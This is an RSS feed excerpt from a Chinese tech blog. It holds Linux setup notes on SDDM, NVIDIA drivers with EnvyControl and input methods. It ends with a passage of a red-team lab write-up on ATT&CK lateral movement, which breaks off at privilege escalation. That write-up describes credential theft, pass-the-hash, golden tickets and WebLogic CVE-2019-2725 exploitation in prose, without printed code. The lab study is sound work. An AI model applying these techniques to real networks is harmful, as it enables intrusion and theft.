      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p><img src="https://img.casear.net/img/01a2704f2a63d39a4c79b08892a4f11f.image.webp" alt="image.png"></p>
<!-- more -->
<p>在安装了登陆屏幕后有时会发现切换后会显示异常，具体情况为：</p>
<ul>
<li>背景是白色的，而不是通常的壁纸</li>
<li>屏幕下半部分是一个巨大的可视键盘（可以隐藏起来）</li>
<li>屏幕中间显示默认用户图片，其下方是密码文本字段</li>
<li>输入密码并按下回车键不会打开用户会话</li>
<li>用于选择会话的下拉菜单位于左上角</li>
<li>用于选择会话的下拉菜单没有条目</li>
<li>因此无法使用 SDDM 登录 Plasma 桌面环境。<br>
解决方案为查看sddm.conf</li>
</ul>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> vim /etc/sddm.conf
</code></pre>
<p><img src="https://img.casear.net/img/47d865408cbe92382a24ed81fa309c49.image.webp" alt="image.png"></p>
<p>问题可能是只自动设置了 [Users] 的内容，这时需要手动设置主题即可生效</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>[Theme]
Current=Slot-SDDM-6
</code></pre>
<p>设置完成注销计算机即可生效</p>
<h1>如果重启后出问题，恢复方法：</h1>
<p>可以用 <code>TTY（Ctrl + Alt + F2）</code>登录并执行：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> sed -i <span class="hljs-string">&#x27;s/^Current=.*/Current=breeze/&#x27;</span> /etc/sddm.conf
<span class="hljs-built_in">sudo</span> systemctl restart sddm
</code></pre>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[rss]]></title>
            <link>https://www.casear.net/post/49</link>
            <guid>https://www.casear.net/post/49</guid>
            <pubDate>Wed, 30 Jul 2025 14:58:33 GMT</pubDate>
            <description><![CDATA[<p>This message is used to verify that this feed (feedId:166846222547564544) belongs to me (userId:166843849953549312). Join me in enjoying the next generation information browser https://folo.is.</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>This message is used to verify that this feed (feedId:166846222547564544) belongs to me (userId:166843849953549312). Join me in enjoying the next generation information browser https://folo.is.</p>
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[Kubuntu 上安装 显卡驱动 和 EnvyControl ]]></title>
            <link>https://www.casear.net/post/48</link>
            <guid>https://www.casear.net/post/48</guid>
            <pubDate>Fri, 04 Jul 2025 13:59:20 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>Kubuntu 双显卡配置：EnvyControl + Optimus GPU Switcher</h1>
<p>本指南适用于 Kubuntu + KDE Plasma 6 + Wayland 系统，使用 AMD 集显 + NVIDIA 独显（如 RTX 3070 Mobile / Max-Q）的笔记本用户，详细介绍如何配置 EnvyControl 实现显卡切换，并集成 KDE 小组件 <code>Optimus GPU Switcher</code> 实现图形化操作。</p>
<hr>
<h2>系统与硬件信息</h2>
<ul>
<li><strong>系统</strong>：Kubuntu 24.x / KDE Plasma 6.3.4 / Wayland</li>
<li><strong>CPU</strong>：AMD Ryzen 9 5900HX</li>
<li><strong>GPU</strong>：
<ul>
<li>集显：AMD Radeon Vega</li>
<li>独显：NVIDIA RTX 3070 Mobile / Max-Q</li>
</ul>
</li>
</ul>
<hr>
<h2>安装 NVIDIA 驱动（推荐开源版本）</h2>
<h3>运行命令查看可安装驱动</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> ubuntu-drivers devices
</code></pre>
<p><img src="https://img.casear.net/img/aadf48182aded23330d06b421f028a66.image.webp" alt="image.png"></p>
<h3>当前推荐驱动</h3>
<p>从输出可以看到：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>driver : nvidia-driver-570-open - distro non-free recommended
</code></pre>
<p>表示系统推荐你使用：</p>
<p><strong>nvidia-driver-570-open</strong> —— 新版本的 开源 NVIDIA 驱动</p>
<table>
<thead>
<tr>
<th>驱动版本</th>
<th>类型</th>
<th>是否开源</th>
<th>是否推荐</th>
<th>适用情况</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>nvidia-driver-570-open</code></td>
<td>官方</td>
<td>✅ 开源</td>
<td>✅ 是</td>
<td>新版本，适用于现代核显与 Wayland</td>
</tr>
<tr>
<td><code>nvidia-driver-570</code></td>
<td>官方</td>
<td>❌ 闭源</td>
<td>❌ 否</td>
<td>更广泛兼容性，Wayland/游戏优化</td>
</tr>
<tr>
<td><code>nvidia-driver-550-open</code>/<code>535-open</code> 等</td>
<td>官方</td>
<td>✅</td>
<td>❌ 否</td>
<td>老版本</td>
</tr>
<tr>
<td><code>nvidia-driver-535</code>/<code>550</code> 等</td>
<td>官方</td>
<td>❌ 闭源</td>
<td>❌ 否</td>
<td>适合不稳定的系统或旧内核</td>
</tr>
<tr>
<td><code>xserver-xorg-video-nouveau</code></td>
<td>社区</td>
<td>✅</td>
<td>❌ 否</td>
<td>性能差，不建议用于 3D 加速场景</td>
</tr>
</tbody>
</table>
<p>建议安装方式</p>
<p>如果你是普通桌面用户，使用 Wayland 或追求最新驱动：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt install nvidia-driver-570-open
</code></pre>
<p>如果你遇到图形兼容问题或需稳定性高（如 CUDA 深度学习）：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt install nvidia-driver-570
</code></pre>
<p>闭源版本在游戏与 CUDA 开发中的表现通常更稳定。</p>
<p>:::info{title=&quot;...&quot;}<br>
我选择了安装开源驱动，暂时先应对桌面环境，我游戏和深度学习方面还有其他主机<br>
:::</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt install nvidia-driver-570-open
</code></pre>
<p>若系统开启了 Secure Boot，会提示创建 MOK 密钥。设置密码并在重启时进入蓝色界面选择 <code>Enroll MOK</code> 完成注册。</p>
<p>验证驱动：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>nvidia-smi
</code></pre>
<h2><img src="https://img.casear.net/img/6c47de1c60937f0b0b0f5c22c1b748f2.image.webp" alt="image.png"></h2>
<h2>安装 EnvyControl（显卡切换命令行工具）</h2>
<h3>1. 安装依赖</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt update
<span class="hljs-built_in">sudo</span> apt install git python3 python3-pip python3-setuptools
</code></pre>
<h3>2. 克隆并安装</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>git <span class="hljs-built_in">clone</span> https://github.com/bayasdev/envycontrol.git
<span class="hljs-built_in">cd</span> envycontrol
<span class="hljs-built_in">sudo</span> pip3 install .
</code></pre>
<h3>3. 使用示例</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment"># 查看当前模式（缓存）</span>
envycontrol --cache-query

<span class="hljs-comment"># 切换到混合模式（推荐）</span>
<span class="hljs-built_in">sudo</span> envycontrol -s hybrid

<span class="hljs-comment"># 切换到集显</span>
<span class="hljs-built_in">sudo</span> envycontrol -s integrated

<span class="hljs-comment"># 切换到独显</span>
<span class="hljs-built_in">sudo</span> envycontrol -s dedicated

<span class="hljs-comment"># 切换后需重启</span>
<span class="hljs-built_in">sudo</span> reboot
</code></pre>
<hr>
<h2>安装 Optimus GPU Switcher（KDE 图形小组件）</h2>
<h3>1. 克隆并安装</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>git <span class="hljs-built_in">clone</span> https://github.com/enielrodriguez/optimus-gpu-switcher.git
<span class="hljs-built_in">cd</span> optimus-gpu-switcher
kpackagetool6 -t Plasma/Applet -i .
</code></pre>
<p>Plasma 5 用户使用：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>kpackagetool5 -t Plasma/Applet -i .
</code></pre>
<p>或：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>plasmapkg2 -t plasmoid -i .
</code></pre>
<h3>2. 添加小组件</h3>
<p>打开 <strong>“添加小组件”</strong>，搜索 <code>Optimus GPU Switcher</code>，拖动到面板或桌面。</p>
<p><img src="https://img.casear.net/img/671c8b7ba9b33e507475cab68ec35636.image.webp" alt="image.png"></p>
<h3>3. 安装依赖工具</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt install libnotify-bin zenity
</code></pre>
<hr>
<h2>小组件功能说明</h2>
<ul>
<li>显示当前显卡模式（如 <code>HYBRID currently in use.</code>）</li>
<li>下拉选择显卡切换（<code>integrated</code> / <code>hybrid</code> / <code>dedicated</code>）</li>
<li><code>Refresh</code> 按钮手动刷新状态</li>
</ul>
<hr>
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[Linux实用软件分享]]></title>
            <link>https://www.casear.net/post/46</link>
            <guid>https://www.casear.net/post/46</guid>
            <pubDate>Fri, 04 Jul 2025 14:00:20 GMT</pubDate>
            <description><![CDATA[<p>邮箱：<a href="https://www.thunderbird.net/">Thunderbird</a></p>
<p>笔记：<a href="https://obsidian.md/">obsidian</a></p>
<p>ssh：<a href="https://github.com/electerm/electerm">electerm</a>（暂定，不知性能如何）</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>邮箱：<a href="https://www.thunderbird.net/">Thunderbird</a></p>
<p>笔记：<a href="https://obsidian.md/">obsidian</a></p>
<p>ssh：<a href="https://github.com/electerm/electerm">electerm</a>（暂定，不知性能如何）</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[kubuntu 搜狗输入法安装问题解决]]></title>
            <link>https://www.casear.net/post/45</link>
            <guid>https://www.casear.net/post/45</guid>
            <pubDate>Wed, 25 Jun 2025 18:52:56 GMT</pubDate>
            <description><![CDATA[<p>安装相关依赖来解决可能无法输入中午的问题</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt-get install libqt5quickwidgets5
<span class="hljs-built_in">sudo</span> apt-get install libQt5Qml.so
<span class="hljs-built_in">sudo</span> apt-get install libgsettings-qt1
<span class="hljs-built_in">sudo</span> apt-get install libgsettings-qt1
</code></pre>
<p>安装完成后可能会出现闪屏现象</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">export</span> QT_QPA_PLATFORM=xcb
pkill fcitx; fcitx;
</code></pre>
<p>:::warning{title=&quot;注意&quot;}</p>
<p>结果，别用搜狗，搜狗已经很久没更新了，不如直接用fcitx5自己的中文输入法<br>
:::</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>安装相关依赖来解决可能无法输入中午的问题</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt-get install libqt5quickwidgets5
<span class="hljs-built_in">sudo</span> apt-get install libQt5Qml.so
<span class="hljs-built_in">sudo</span> apt-get install libgsettings-qt1
<span class="hljs-built_in">sudo</span> apt-get install libgsettings-qt1
</code></pre>
<p>安装完成后可能会出现闪屏现象</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">export</span> QT_QPA_PLATFORM=xcb
pkill fcitx; fcitx;
</code></pre>
<p>:::warning{title=&quot;注意&quot;}</p>
<p>结果，别用搜狗，搜狗已经很久没更新了，不如直接用fcitx5自己的中文输入法<br>
:::</p>
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[终端工具的选择]]></title>
            <link>https://www.casear.net/post/44</link>
            <guid>https://www.casear.net/post/44</guid>
            <pubDate>Thu, 12 Jun 2025 13:06:05 GMT</pubDate>
            <description><![CDATA[<p>之前有接触到zsh ，但是发现在MobaXterm上显示的效果不是很好，所以尝试了windterm，刚开始感觉还是不错的，但是后来感觉它的逻辑有点反人类，经常要点很多确认框之类的，最近新到手了个灵刃14，想着再试MobaXterm吧，突然想到显示问题可以通过安装新的字体来解决，在安装了powerlevel10k推荐的字体后，windterm对我来说就没有那么大的吸引力了，还是MobaXterm用着更顺手一些</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>之前有接触到zsh ，但是发现在MobaXterm上显示的效果不是很好，所以尝试了windterm，刚开始感觉还是不错的，但是后来感觉它的逻辑有点反人类，经常要点很多确认框之类的，最近新到手了个灵刃14，想着再试MobaXterm吧，突然想到显示问题可以通过安装新的字体来解决，在安装了powerlevel10k推荐的字体后，windterm对我来说就没有那么大的吸引力了，还是MobaXterm用着更顺手一些</p>
<!-- more -->
<p><img src="https://img.casear.net/img/990e1dd8b84672c811aa53f093bdefd6.%7BDA440BCC-2BD4-47FE-9DAB-5220316F54F5%7D.webp" alt="{DA440BCC-2BD4-47FE-9DAB-5220316F54F5}.png"></p>
<p><img src="https://img.casear.net/img/b933577b20715b0c61e93ff15470803d.%7B3DBB7F3C-F928-4A42-B6B6-5E3F1D79AF83%7D.webp" alt="{3DBB7F3C-F928-4A42-B6B6-5E3F1D79AF83}.png"></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[ATT&CK红队评估实战靶场二]]></title>
            <link>https://www.casear.net/post/43</link>
            <guid>https://www.casear.net/post/43</guid>
            <pubDate>Mon, 24 Nov 2025 04:09:19 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>摘要</h1>
<p>在数字化转型背景下，企业内网安全面临横向渗透等复杂威胁。传统防御体系难以应对攻击者在入侵后横向移动的行为，APT攻击、内部威胁及权限滥用进一步加剧风险。本研究聚焦基于MITRE ATT&amp;CK 框架的企业内网横向渗透防御与实战验证，提出通过红队靶场演练模拟真实攻击场景，系统分析攻击路径、技术细节及防御对策。研究内容涵盖横向渗透概念、ATT&amp;CK框架解析、技术手段如密码攻击、漏洞利用、ARP欺骗、RDP攻击等，并评估企业现有安全措施的局限性。随后，通过构建虚拟化红队靶场开展实战演练，从信息收集、目录与中间件探测，到漏洞利用、权限提升，再到内网信息获取与横向移动，完整复现攻击链条，利用Mimikatz、WeblogicScanner等工具成功实施攻击并获取管理员权限。研究强调靶场设计需具备仿真性与可扩展性，结合自动化与威胁情报，最终为企业制定更有效的内网防护策略、提升响应能力提供数据支持与实践指导。</p>
<p>关键字 企业内网 横向渗透 ATT&amp;CK框架 红队靶场 安全防护</p>
<h1>引言</h1>
<p>随着信息技术的迅猛发展和企业数字化转型的持续推进，网络安全问题日益凸显，尤其是企业内网中的横向渗透攻击，已成为当前网络安全防御体系中最具挑战性的威胁之一。横向渗透是指攻击者在成功入侵某一系统节点后，利用已获取的权限、漏洞或凭据，在内网中横向移动，进一步控制其他主机、窃取敏感数据或破坏关键业务系统。相比传统的边界型攻击，横向渗透更具隐蔽性、持续性和破坏性，给企业带来极大的安全风险与经济损失。</p>
<p>当前多数企业的防护体系仍以边界控制、访问权限划分和病毒查杀为核心，面对高度复杂、多阶段、多技术组合的横向渗透行为，存在响应迟缓、误报率高、防御盲区等问题。为有效提升企业对高级持续性威胁（APT）及内网攻击的检测与防御能力，研究和实践迫切需要一种系统化、可验证的技术手段进行支持。</p>
<p>MITRE提出的ATT&amp;CK框架为攻击建模和行为分析提供了标准化方法，涵盖了攻击者从初始访问到横向移动、权限提升、数据外泄等各阶段的策略与技术，已成为网络攻防领域的重要参考模型。红队靶场作为演练和验证该框架应用的重要平台，能够在可控环境下模拟真实攻击过程，全面测试企业防御体系的有效性与覆盖面。</p>
<p>本研究立足于ATT&amp;CK框架，围绕企业内网横向渗透的攻防演练需求，设计并实现一套红队靶场系统，结合信息收集、漏洞利用、权限提升与防御对策分析等内容，旨在通过实战验证发现问题、优化策略，为企业构建主动防御体系提供理论依据与实践指导，进一步推动网络安全防护从被动防御向主动检测与响应的转变。</p>
<h1>第一章 企业内网横向渗透综述</h1>
<h2>1.1 横向渗透的现实威胁</h2>
<p>当前的网络攻击活动呈现出链式、多阶段、高隐蔽性的特点，其中“横向渗透”已成为攻防对抗中的核心环节。在边界防御被突破后，攻击者常借助内网中的信任关系、权限继承及资产复杂性，通过凭证窃取、服务滥用、远程执行等手段在网络中横向移动，以达到权限扩展、信息窃取或持久控制的目的。相较于外部入侵，横向渗透更加隐蔽，持续时间更长，破坏性更强，给网络防护体系带来了较大挑战。</p>
<h2>1.2 横向渗透的典型技术路径</h2>
<p>横向渗透通常包括多个关键技术步骤。首先是信息收集，攻击者会识别网络结构、主机清单、活跃会话及用户权限等关键情报；其次是凭证获取，常用手段包括哈希转发、口令猜解、内存读取等；随后通过权限提升与远程执行，攻击者可进入目标主机并持续拓展控制范围。具体方式包括使用PsExec、WMI、RDP、SMB等协议工具完成横向控制。这一过程往往伴随着日志清除、权限清洗与持久化设置，使检测与响应工作难度增加。</p>
<h2>1.3 防御机制与当前挑战</h2>
<p>当前主流的横向渗透防御手段包括网络分段、最小权限访问控制、入侵检测系统（IDS）、行为分析系统、终端防护平台（EDR）等。通过隔离不同网络区域、限制账号权限、部署流量监控与行为建模系统，可以有效压缩攻击者活动空间。然而，在实际部署中，防御体系仍面临诸多挑战，如访问控制策略不完善、横向活动日志分散、缺乏跨系统事件关联机制等，导致威胁难以及时发现和响应。</p>
<h2>1.4 横向防护的发展趋势</h2>
<p>面向未来，横向渗透防护正逐步向智能化、精细化方向发展。以攻击链为核心的防御模型、基于行为的异常识别算法、零信任网络架构与微隔离技术被广泛应用于新一代内网安全体系建设中。同时，终端与网络的深度联动、资产动态建模、风险可视化分析与响应自动化也成为关注重点。通过引入威胁情报融合机制与持续安全评估能力，企业正在构建具备主动防御与快速响应能力的横向防护体系，以应对日益复杂的内网攻击风险。</p>
<h1>第二章 企业内网横向渗透的理论基础</h1>
<h2>2.1 横向渗透的基本概念</h2>
<p>横向渗透是网络安全领域中的关键概念，指攻击者在成功入侵初始目标后，通过该系统作为跳板，在同一网络中扩展攻击范围并获取更多系统的控制权。这一过程通常发生在企业内网环境中，攻击者利用已获得的权限和信息，逐步访问其他系统或设备。横向渗透的重要性在于其能够突破传统的边界防御体系，使攻击者在网络内部自由移动，进而窃取敏感数据或破坏关键业务系统。在现代企业环境中，随着网络规模的扩大和复杂性的增加，横向渗透攻击的风险也日益突出。攻击者一旦进入内网，便可能绕过外围防火墙等防护措施，对企业核心资产构成直接威胁。</p>
<p>横向渗透技术种类繁多，每种技术都有其特定的应用场景和实现方式。例如，弱密码利用是一种常见且高效的手段，攻击者通过暴力破解或字典攻击等方式尝试登录其他系统。若用户在不同系统中使用相同的密码，则攻击者可轻松扩展控制范围。操作系统漏洞利用则是另一种关键技术，攻击者会寻找未修补的安全漏洞，通过构造恶意代码实现远程执行或权限提升。傀儡账户滥用、网络钓鱼和社会工程等手段也被广泛应用于横向渗透过程中。这些技术往往结合使用，形成复杂的攻击链路。例如，攻击者可能先通过网络钓鱼获取用户凭据，再利用这些凭据进行权限提升，并最终通过远程协议实现横向移动。这种多层次的技术组合使得横向渗透攻击更具隐蔽性和破坏性。</p>
<h2>2.2 ATT&amp;CK框架概述</h2>
<p>ATT&amp;CK框架由MITRE公司开发，旨在以系统化方式描述网络攻击行为，为企业内网安全防护提供实用指导。其核心在于将攻击行为分为战术与具体技术两个层面：战术代表攻击者的总体策略，技术则详细描述实现这些策略的具体手段。例如，“持久化”战术下可能涉及注册表修改、计划任务创建等技术。这种分层设计让防御者能从宏观到微观全面理解攻击过程，并据此制定防御措施。</p>
<p>ATT&amp;CK框架采用矩阵形式组织战术和技术，直观展示攻击行为模式，覆盖Windows、Linux和macOS等平台，确保适用于不同企业环境。框架还集成了STIX/TAXII标准，支持威胁情报的自动化共享与更新，增强了实用性，成为动态网络安全环境中的关键工具。它可用于威胁建模、检测规则开发、红队演练等多种场景，帮助企业识别潜在风险并验证防御体系的有效性。</p>
<p>在企业内网安全防护中，ATT&amp;CK框架的价值尤为显著。它为安全团队提供标准化语言和参考模型，使其能清晰定义攻击路径并优化资源配置。通过分析框架中的横向移动技术等，企业可发现网络中的薄弱环节，采取措施限制攻击者行动范围。框架的持续更新也确保企业能敏捷应对新型威胁。ATT&amp;CK框架不仅是知识库，更是构建企业主动防御体系的强大工具。</p>
<h2>2.3 横向渗透的技术手段</h2>
<p>横向渗透的核心策略在于攻击者通过多种技术手段逐步扩大对内网的控制范围。密码攻击是其中最为常见的手段，它利用了用户密码管理不当或系统认证机制薄弱的弱点。暴力破解通过大量尝试密码组合，尤其在密码复杂度低或用户常用简单密码的情况下效果显著。而哈希传递攻击则更为高级，它利用窃取到的用户哈希值进行身份验证，绕过了传统密码保护，对企业内网构成重大威胁。凭证窃取也是关键一环，利用工具如Mimikatz从内存中提取登录凭据，从而访问其他主机和服务。</p>
<p>漏洞利用在横向渗透中同样占据重要地位。系统漏洞利用针对操作系统或应用程序的安全缺陷，借助工具如Metasploit可快速实施攻击。Web漏洞利用在企业内网中尤为常见，利用SQL注入、命令执行等漏洞获取敏感信息或控制服务器。服务漏洞利用也不容忽视，配置不当或版本过旧的内网服务成为攻击者横向移动的重要途径。通过扫描和测试工具，攻击者能迅速定位并利用这些漏洞。</p>
<p>ARP欺骗和RDP攻击也是横向渗透中的重要技术。ARP欺骗通过伪造数据包，将流量导向攻击者机器，实现中间人攻击或信息窃取。RDP攻击则利用远程桌面协议的弱点，尤其是弱口令或未授权访问问题，让攻击者远程操控目标主机。这些技术往往结合使用，形成多阶段攻击模式。攻击者可能先通过漏洞利用获得初始立足点，再利用凭证窃取技术扩大控制范围，最后部署后门程序确保长期访问。这种复杂的攻击模式增加了防御难度，强调了全面防护策略的重要性。</p>
<h1>第三章 基于ATT&amp;CK的红队实战靶场的实现</h1>
<h2>3.1攻防演练环境拓扑结构解析</h2>
<p>为了全面模拟真实企业网络环境下的红队攻击路径与防御响应机制，本次红队实战靶场采用典型的“DMZ区 + 企业内网”双网段架构，结合多主机、多角色的部署方式，构建了一个集信息收集、漏洞利用、横向移动、权限提升与持久控制于一体的高仿真攻防环境。</p>
<p>本靶场网络结构如下：</p>
<p>内网网段（10.10.10.0/24）：代表企业核心网络，部署关键资产主机，包括一台域控制器（DC）、一台应用服务器（Web/MSSQL）、一台普通终端（PC）。攻击者的目标是通过渗透DMZ区逐步向内网横向扩展，最终实现对域环境的完全控制。</p>
<p>DMZ网段（192.168.111.0/24）：模拟企业对外服务区域，用于部署攻击入口与测试平台。攻击者初始落点位于该区域，通过网页代理、特殊协议代理（如DNS、ICMP）等方式逐步渗透至内网。</p>
<p>主机信息：</p>
<table>
<thead>
<tr>
<th>主机角色</th>
<th>IP 地址</th>
<th>操作系统</th>
<th>主要应用/用途</th>
</tr>
</thead>
<tbody>
<tr>
<td>域控（DC）</td>
<td>10.10.10.10</td>
<td>Windows Server 2012</td>
<td>AD域服务</td>
</tr>
<tr>
<td>Web服务器</td>
<td>10.10.10.80 / 192.168.111.80</td>
<td>Windows Server 2008</td>
<td>Weblogic 10.3.6、MSSQL 2008</td>
</tr>
<tr>
<td>客户端PC</td>
<td>10.10.10.201 / 192.168.111.201</td>
<td>Windows 7 (32-bit)</td>
<td>企业终端模拟</td>
</tr>
<tr>
<td>攻击机</td>
<td>192.168.111.1</td>
<td>Kali Linux</td>
<td>起始攻击平台</td>
</tr>
</tbody>
</table>
<p>网络隔离策略：</p>
<p>防火墙策略模拟真实企业隔离规则，对测试机进行出站限制，仅允许其访问192网段资源，以模拟从公网发起攻击、绕过边界防护设备进行初始渗透的场景。该策略为后续代理链搭建与边界突破实验提供良好基础。</p>
<p>技术要点覆盖：</p>
<p>本靶场支持并鼓励以下关键攻击技术的实操训练：</p>
<p>凭证获取与利用：NTLM抓取与中继、Access Token操作、Pass-the-Ticket（PTT）、Pass-the-Hash（PTH）等。</p>
<p>漏洞利用与横向渗透：MS14-068、GPP、SMB/EWS Relay、SPN扫描与服务劫持。</p>
<p>后门与持久控制：黄金票据、白银票据、SID History注入、WMI与MOF后门等。</p>
<p>信息收集与代理穿透：域内信息收集、WMI查询、二层/三层代理、DNS/ICMP协议隧道等。</p>
<p><img src="https://img.casear.net/img/542e7e4db25e7d1bc4862288e6e53b4f.image.webp" alt="image.png"></p>
<h2>3.2 信息收集与漏洞利用</h2>
<p>红队攻击的第一阶段通常从信息收集开始，攻击者通过扫描技术识别目标系统的可达性、服务开放情况及潜在漏洞。这一阶段至关重要，它决定了攻击链的起点和整体攻击路径的构建方式。信息收集不仅限于主机和端口的识别，还包括对目录结构、中间件类型、服务版本的掌握，为后续的漏洞利用与权限提升奠定基础。</p>
<p>在企业内网环境中，尤其是部署了较为复杂结构（如DMZ区、双网卡分区等）的场景下，攻击者常借助自动化工具实现初步的网络扫描与渗透路径识别。随着中间件安全问题频发，WebLogic、Tomcat、Jenkins 等成为攻击常用入口，相关CVE漏洞也频繁出现在实战渗透中。</p>
<h2>3.3 主机存活探测与端口扫描</h2>
<p>在渗透初期，通过对 192.168.236.0/24 网段进行主机存活探测，发现目标主机 192.168.236.80 处于在线状态，并开放了多个服务端口。随后使用 nmap 工具对该主机进行端口扫描与服务识别，确认其启用了 HTTP 等常见服务，并开放了 7001 端口。</p>
<p><img src="https://img.casear.net/img/d2c8183d0dd1746b77eef857badd97f7.image.webp" alt="image.png"></p>
<p>通过 dirsearch 工具对该主机的 7001 端口进行目录扫描，发现典型 WebLogic 管理页面路径。随后使用 WebLogicScanner 工具对该服务进行识别与验证，确认目标主机部署了 WebLogic 中间件。这为后续的服务分析与攻击链构建提供了基础信息</p>
<p><img src="https://img.casear.net/img/1bf50b0801b8944aba54124281cf465f.image.webp" alt="image.png"></p>
<p>值得注意的是，在对目标中间件服务进行识别与分析的过程中，扫描结果显示其存在多个已知的高危反序列化漏洞，主要集中于 WebLogic 历史版本中常见的 XMLDecoder 接口与 T3 协议处理模块。这些漏洞通常可被远程触发，具备较高的利用价值，典型示例如下：</p>
<p>CVE-2019-2725：异步组件存在 XMLDecoder 反序列化漏洞，在默认配置下即可被远程利用，攻击者无需认证即可执行任意代码。</p>
<p>CVE-2017-10271：Web Services 组件存在反序列化漏洞，SOAP 请求可触发执行，部分环境中可绕过补丁。</p>
<p>CVE-2017-3506：早期版本中 XMLDecoder 接口未进行有效输入校验，可通过构造恶意 XML 数据实现命令执行。</p>
<p>CVE-2016-0638：T3 协议处理存在反序列化缺陷，允许攻击者通过特定请求触发远程代码执行。</p>
<h2>3.4 Weblogic 中间件漏洞利用</h2>
<p>在确认目标主机部署了存在历史漏洞的 WebLogic 中间件后，利用其存在的 Java 反序列化漏洞（CVE-2019-2725）构造恶意请求，实现远程命令执行</p>
<p><img src="https://casear.net/static/img/406ba4fbab2db0267e59f505181d7ad8.image.webp" alt=""></p>
<p>通过远程执行命令，攻击者进一步将木马工具上传至目标主机，并在其上建立初始控制通道，为后续的权限维持、内网横向渗透与凭证获取等操作打下基础。</p>
<p><img src="https://img.casear.net/img/406ba4fbab2db0267e59f505181d7ad8.image.webp" alt="image.png"></p>
<h2>3.5 权限提升</h2>
